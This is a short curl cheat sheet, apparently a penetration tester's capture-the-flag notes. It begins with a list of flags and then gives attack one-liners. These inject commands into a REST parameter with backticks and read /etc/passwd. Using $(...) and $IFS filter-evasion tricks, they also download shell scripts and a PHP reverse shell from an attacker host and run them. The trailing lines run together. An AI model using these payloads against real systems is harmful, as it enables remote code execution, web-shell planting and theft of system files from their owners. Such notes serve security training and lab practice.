Curl
Common commands
# -d, --data HTTP POST data
# -f, --fail Fail silently (no output at all) on HTTP errors
# -i, --include Include protocol response headers in the output
# -o, --output Write to file instead of stdout
# -O, --remote-name Write output to a file named as the remote file
# -s, --silent Silent mode
# -T, --upload-file Transfer local FILE to destination
# -A, --user-agent Send User-Agent <name> to server
# -v, --verbose Make the operation more talkative
# -V, --version Show version number and quit
# -u, --user <user:password> Server user and password
## ------------------| REST API
curl -s -X GET -G "http://10.10.178.30:31331/ping" --data-urlencode 'ip= `man cat`'
## ------------------| Download file
curl http://10.10.14.26/shell.sh -o /tmp/shell.sh
## ------------------| Read local files
curl file:///etc/passwd
## ------------------| Execute commands
curl http://10.10.14.26/$(whoami)
curl http://10.10.14.26/$(which$IFS'curl')
curl http://10.10.14.26/$(curl$IFS'-o'$IFS'/var/www/html/rev.php'$IFS'http://10.10.14.26/rev.php')
curl http://10.10.14.26/$(curl$IFS'-o'$IFS'/tmp/shell.sh'$IFS'http://10.10.14.26/shell.sh')
curl http://10.10.14.26/$(bash$IFS/tmp/shell.sh)Use PUT command to upload file
Use MOVE command to move file
.curlrcfile
Last updated